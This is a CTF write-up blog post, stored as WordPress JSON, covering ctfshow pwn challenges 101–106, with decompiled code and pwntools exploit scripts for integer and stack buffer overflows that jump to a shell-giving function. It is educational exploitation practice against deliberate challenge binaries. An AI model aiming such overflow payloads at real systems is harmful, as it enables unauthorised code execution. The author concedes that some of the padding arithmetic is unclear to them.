{"id":347,"date":"2025-05-13T15:01:01","date_gmt":"2025-05-13T07:01:01","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=347"},"modified":"2025-05-13T15:01:01","modified_gmt":"2025-05-13T07:01:01","slug":"347","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=347","title":{"rendered":"\u3053\u3063\u3061\u306e\u300c\u597d\u304d\u300d\u306f \u5c4a\u3044\u3066\u308b\u304b\u306a\uff1f"},"content":{"rendered":"\n

pwn101<\/h2>\n\n\n\n

\u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; \/\/ [rsp+0h] [rbp-10h] BYREF
  int v5; \/\/ [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; \/\/ [rsp+8h] [rbp-8h]
\u200b
  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts(\"Maybe these help you:\");
  useful();
  v4 = 0x80000000;
  v5 = 0x7FFFFFFF;
  printf(\"Enter two integers: \");
  if ( (unsigned int)__isoc99_scanf(\"%d %d\", &v4, &v5) == 2 )
  {
    if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
      gift();
    else
      printf(\"upover = %d, downover = %d\\n\", v4, v5);
    return 0;
  }
  else
  {
    puts(\"Error: Invalid input. Please enter two integers.\");
    return 1;
  }
}<\/code><\/pre>\n\n\n\n
16\u8fdb\u5236\u8f6c\u503c\u4e3a10\u8fdb\u5236\uff0cnc\u4ea4\u4e92\u8fdb\u5165gift\u51fd\u6570<\/p>\n\n\n\n
gift\u91cc\u9762\u6709cat \/flag<\/p>\n\n\n\n
\u76f4\u63a5\u62ff\u5230<\/p>\n\n\n\n
pwn102<\/h2>\n\n\n\n
\u66f4\u6ca1\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981V4\u503c\u4e3a-1.\u4ea4\u4e92\u8f93\u5165\u8fdb\u53bb\u7684\u5c31\u662fV4\uff0c\u5199\u4e2a-1\u8fdb\u53bb\u5c31\u62ff\u5230flag<\/p>\n\n\n\n
pwn103<\/h2>\n\n\n\n
\u5173\u952e\u5185\u5bb9\u90fd\u5728ctfshow\u51fd\u6570\u4e2d<\/p>\n\n\n\n
ctfshow\u51fd\u6570\u4ee3\u7801\u903b\u8f91\u5206\u6790<\/h3>\n\n\n\n
    \n
  1. \u8f93\u5165\u957f\u5ea6<\/strong>\uff1aprintf(“Enter the length of data (up to 80): “);
    __isoc99_scanf(“%d”, &v1);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff0c\u5e76\u5b58\u50a8\u5728\u53d8\u91cfv1<\/code>\u4e2d\u3002\u5982\u679c\u8f93\u5165\u7684v1<\/code>\u5927\u4e8e80\uff0c\u7a0b\u5e8f\u4f1a\u76f4\u63a5\u9000\u51fa\uff1aif ( v1 <= 80 )
    {
    \u00a0 …
    }
    else
    {
    \u00a0 \u00a0puts(“Invalid input! No cookie for you!”);
    }\u56e0\u6b64\uff0c\u8f93\u5165\u7684\u957f\u5ea6\u5fc5\u987b\u5c0f\u4e8e\u6216\u7b49\u4e8e80\uff0c\u624d\u80fd\u7ee7\u7eed\u6267\u884c\u3002<\/li>\n\n\n\n
  2. \u8f93\u5165\u6570\u636e<\/strong>\uff1aprintf(“Enter the data: “);
    __isoc99_scanf(” %[^\\n]”, dest);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\uff0c\u5e76\u5b58\u50a8\u5728dest<\/code>\u6570\u7ec4\u4e2d\u3002dest<\/code>\u6570\u7ec4\u7684\u5927\u5c0f\u662f88\u5b57\u8282\uff0c\u56e0\u6b64\u7406\u8bba\u4e0a\u53ef\u4ee5\u5b58\u50a8\u6700\u591a87\u4e2a\u5b57\u7b26\uff08\u52a0\u4e0a\u4e00\u4e2a\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26\\0<\/code>\uff09\u3002<\/li>\n\n\n\n
  3. \u5185\u5b58\u62f7\u8d1d<\/strong>\uff1amemcpy(dest, src, v1);\u8fd9\u91cc\u5c06src<\/code>\u7684\u5185\u5bb9\u62f7\u8d1d\u5230dest<\/code>\u4e2d\uff0c\u62f7\u8d1d\u7684\u957f\u5ea6\u662fv1<\/code>\u3002\u7136\u800c\uff0csrc<\/code>\u88ab\u521d\u59cb\u5316\u4e3a0LL<\/code>\uff0c\u5373\u7a7a\u6307\u9488\u3002\u5982\u679cv1<\/code>\u5927\u4e8e0\uff0cmemcpy<\/code>\u4f1a\u5c1d\u8bd5\u4ece\u7a7a\u6307\u9488\u62f7\u8d1d\u6570\u636e\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u672a\u5b9a\u4e49\u884c\u4e3a\uff08\u5982\u7a0b\u5e8f\u5d29\u6e83\uff09\u3002\u4f46\u5982\u679cv1<\/code>\u4e3a0\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u56e0\u4e3a\u62f7\u8d1d\u957f\u5ea6\u4e3a0\u3002<\/li>\n\n\n\n
  4. \u6761\u4ef6\u5224\u65ad<\/strong>\uff1aif ( (unsigned __int64)dest > 0x1BF52 )
    \u00a0 \u00a0gift();\u8fd9\u91cc\u5224\u65addest<\/code>\u7684\u5730\u5740\u662f\u5426\u5927\u4e8e0x1BF52<\/code>\u3002\u7531\u4e8edest<\/code>\u662f\u4e00\u4e2a\u5c40\u90e8\u53d8\u91cf\uff0c\u5176\u5730\u5740\u901a\u5e38\u5728\u6808\u4e0a\uff0c\u4e14\u5730\u5740\u503c\u901a\u5e38\u8fdc\u5927\u4e8e0x1BF52<\/code>\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6761\u4ef6\u5f88\u5bb9\u6613\u6ee1\u8db3\u3002<\/li>\n<\/ol>\n\n\n\n
    \u8f93\u5165\u4e24\u6b210\u7684\u903b\u8f91<\/h3>\n\n\n\n
      \n
    1. \u7b2c\u4e00\u6b21\u8f93\u51650<\/strong>\uff1a\n
        \n
      • \u8f93\u5165\u957f\u5ea6v1<\/code>\u4e3a0\u3002<\/li>\n\n\n\n
      • \u7a0b\u5e8f\u4f1a\u8981\u6c42\u8f93\u5165\u6570\u636e\uff0c\u4f46\u56e0\u4e3av1<\/code>\u4e3a0\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n\n\n\n
      • dest<\/code>\u6570\u7ec4\u7684\u5185\u5bb9\u4e0d\u4f1a\u88ab\u4fee\u6539\uff0c\u4ecd\u7136\u662f\u672a\u521d\u59cb\u5316\u7684\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n
      • \u7b2c\u4e8c\u6b21\u8f93\u51650<\/strong>\uff1a\n
          \n
        • \u518d\u6b21\u8f93\u5165\u957f\u5ea6v1<\/code>\u4e3a0\u3002<\/li>\n\n\n\n
        • \u7a0b\u5e8f\u518d\u6b21\u8981\u6c42\u8f93\u5165\u6570\u636e\uff0c\u4f46v1<\/code>\u4ecd\u7136\u4e3a0\uff0cmemcpy<\/code>\u4ecd\u7136\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n\n\n\n
        • dest<\/code>\u6570\u7ec4\u7684\u5185\u5bb9\u4ecd\u7136\u672a\u88ab\u4fee\u6539\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n
        • \u6761\u4ef6\u5224\u65ad<\/strong>\uff1a\n
            \n
          • \u7531\u4e8edest<\/code>\u7684\u5730\u5740\u901a\u5e38\u8fdc\u5927\u4e8e0x1BF52<\/code>\uff0c\u6761\u4ef6((unsigned __int64)dest > 0x1BF52)<\/code>\u6210\u7acb\u3002<\/li>\n\n\n\n
          • \u56e0\u6b64\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528gift()<\/code>\u51fd\u6570\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n
            \u6f0f\u6d1e\u603b\u7ed3<\/h3>\n\n\n\n
            \u8fd9\u4e2a\u6f0f\u6d1e\u7684\u6839\u672c\u539f\u56e0\u662f\uff1a<\/p>\n\n\n\n
              \n
            • src<\/code>\u88ab\u521d\u59cb\u5316\u4e3a0LL<\/code>\uff0c\u4f46\u6ca1\u6709\u68c0\u67e5src<\/code>\u662f\u5426\u4e3a\u6709\u6548\u6307\u9488\u3002<\/li>\n\n\n\n
            • v1<\/code>\u4e3a0\u65f6\uff0cmemcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u4f46\u7a0b\u5e8f\u6ca1\u6709\u5bf9\u8fd9\u79cd\u60c5\u51b5\u8fdb\u884c\u7279\u6b8a\u5904\u7406\u3002<\/li>\n\n\n\n
            • \u6761\u4ef6((unsigned __int64)dest > 0x1BF52)<\/code>\u8fc7\u4e8e\u5bbd\u677e\uff0c\u5bb9\u6613\u88ab\u6ee1\u8db3\u3002<\/li>\n<\/ul>\n\n\n\n
              \u56e0\u6b64\uff0c\u901a\u8fc7\u8fde\u7eed\u8f93\u5165\u4e24\u6b210\uff0c\u53ef\u4ee5\u7ed5\u8fc7memcpy<\/code>\u7684\u6f5c\u5728\u5d29\u6e83\uff0c\u5e76\u6ee1\u8db3\u6761\u4ef6\u8c03\u7528gift()<\/code>\u51fd\u6570\u3002<\/p>\n\n\n\n
              \u6240\u4ee5\u8fdb\u5165gift\u51fd\u6570\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n
              pwn104<\/h2>\n\n\n\n
              \u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5f88\u6807\u51c6\u7684\u6574\u6570\u6ea2\u51fa\u7136\u540e\u4f9d\u9760\u5df2\u5199\u7684that\u51fd\u6570\u8fdb\u884c\u63d0\u6743<\/p>\n\n\n\n
              \u7b2c\u4e00\u6b21\u4f20\u5165\uff0c\u4f20\u9012\u7684\u503c\u662f\u8bfb\u53d6buf\u7684\u957f\u5ea6\uff0c\u5199\u957f\u70b9\u5c31\u884c\u4e86\uff0c\u65e0\u6240\u8c13\u7684<\/p>\n\n\n\n
              from pwn import *
              p = remote(\"pwn.challenge.ctf.show\",28302)
              payload = b'a'*(0xe+8) + p64(0x000000000040078D)
              p.sendline(b'21321')
              p.sendline(payload)
              p.interactive()<\/code><\/pre>\n\n\n\n
              pwn105<\/h2>\n\n\n\n
              \u5b58\u5728\u63d0\u6743\u51fd\u6570\uff0c\u62ff\u5230\u5730\u5740<\/p>\n\n\n\n
              dest\u6ea2\u51fa\u4e00\u4e0b\uff0c0x11+4<\/p>\n\n\n\n
              v3\u662fint 8<\/p>\n\n\n\n
              \u5b9e\u9645\u4e0a\u5c31\u662f\u4e8c\u8fdb\u5236\u53d6\u516b\u4f4d\u7684\u503c<\/p>\n\n\n\n
              \u4e5f\u5c31\u662f\u8bf4\uff0c\u80fd\u53d6\u7684\u6700\u5927\u503c\u662f 1111 1111 = 255<\/p>\n\n\n\n
              \u6240\u4ee5\u8981\u60f3\u7ed5\u8fc7if\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n
              \u5c31\u9700\u8981255+1\uff08\u8fd9\u4e2a1\u662f\u56e0\u4e3a\u8fd8\u9700\u8981\u7b97\u4e0a0\u8fd9\u4e2a\u503c\uff0c\u5171256\u4e2a\u503c\uff09+ 4 ~~~264<\/p>\n\n\n\n
              ljust\u65b9\u6cd5\u586b\u5145\u4e00\u4e0b\u5783\u573e\u6570\u636e\u5c31\u884c\u4e86<\/p>\n\n\n\n
              char *__cdecl ctfshow(char *s)
              {
                char dest[8]; \/\/ [esp+7h] [ebp-11h] BYREF
                unsigned __int8 v3; \/\/ [esp+Fh] [ebp-9h]
              \u200b
                v3 = strlen(s);
                if ( v3 <= 3u || v3 > 8u )
                {
                  puts(\"Authentication failed!\");
                  exit(-1);
                }
                printf(\"Authentication successful, Hello %s\", s);
                return strcpy(dest, s);
              }<\/code><\/pre>\n\n\n\n
              exp:<\/p>\n\n\n\n
              from pwn import *
              p = remote(\"pwn.challenge.ctf.show\",28175)
              shell = 0x0804870E
              payload = b'a'*(0x11+4) + p32(shell)
              payload = payload.ljust(0x104,b'a')
              p.sendline(payload)
              p.interactive()<\/code><\/pre>\n\n\n\n
              pwn106<\/h2>\n\n\n\n
              \u548c105\u5de8\u50cf<\/p>\n\n\n\n
              \u6839\u636e\u5b9e\u9645\u4ea4\u4e92\u6548\u679c\u641e\u4e0aru\u6b63\u786e\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n
              from pwn import *
              # context.log_level = 'debug'
              p = remote(\"pwn.challenge.ctf.show\",28231)
              shell = 0x08048919
              payload = b'a'*(0x14+4) + p32(shell)
              payload = payload.ljust(260,b'a')
              # cat_flag = shell
              # payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
              p.recvuntil(b'choice:')
              p.sendline(b'1')
              p.recvuntil(b'username:')
              p.sendline(b' ')
              p.recv()
              p.sendline(payload)
              \u200b
              p.interactive()<\/code><\/pre>\n\n\n\n
              \uff08\u8fd8\u6709\u4e9b\u8bb8\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u88ab\u6ce8\u91ca\u6389\u7684payload\u4e5f\u80fd\u7528\uff0c\u4e3a\u4ec0\u4e48\u540e\u8865\u9f50\u7684\u5783\u573e\u6570\u636e\u957f\u5ea6\u662f234\uff0c\u4e0d\u5c31\u5e94\u8be5\u662f256+3~~~256+7\u5417\uff0c\u5947\u5947\u602a\u602a\u7684\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"
              pwn101 \u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86 16\u8fdb\u5236\u8f6c\u503c\u4e3a10\u8fdb\u5236\uff0cnc\u4ea4\u4e92\u8fdb\u5165gif […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-347","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=347"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/347\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}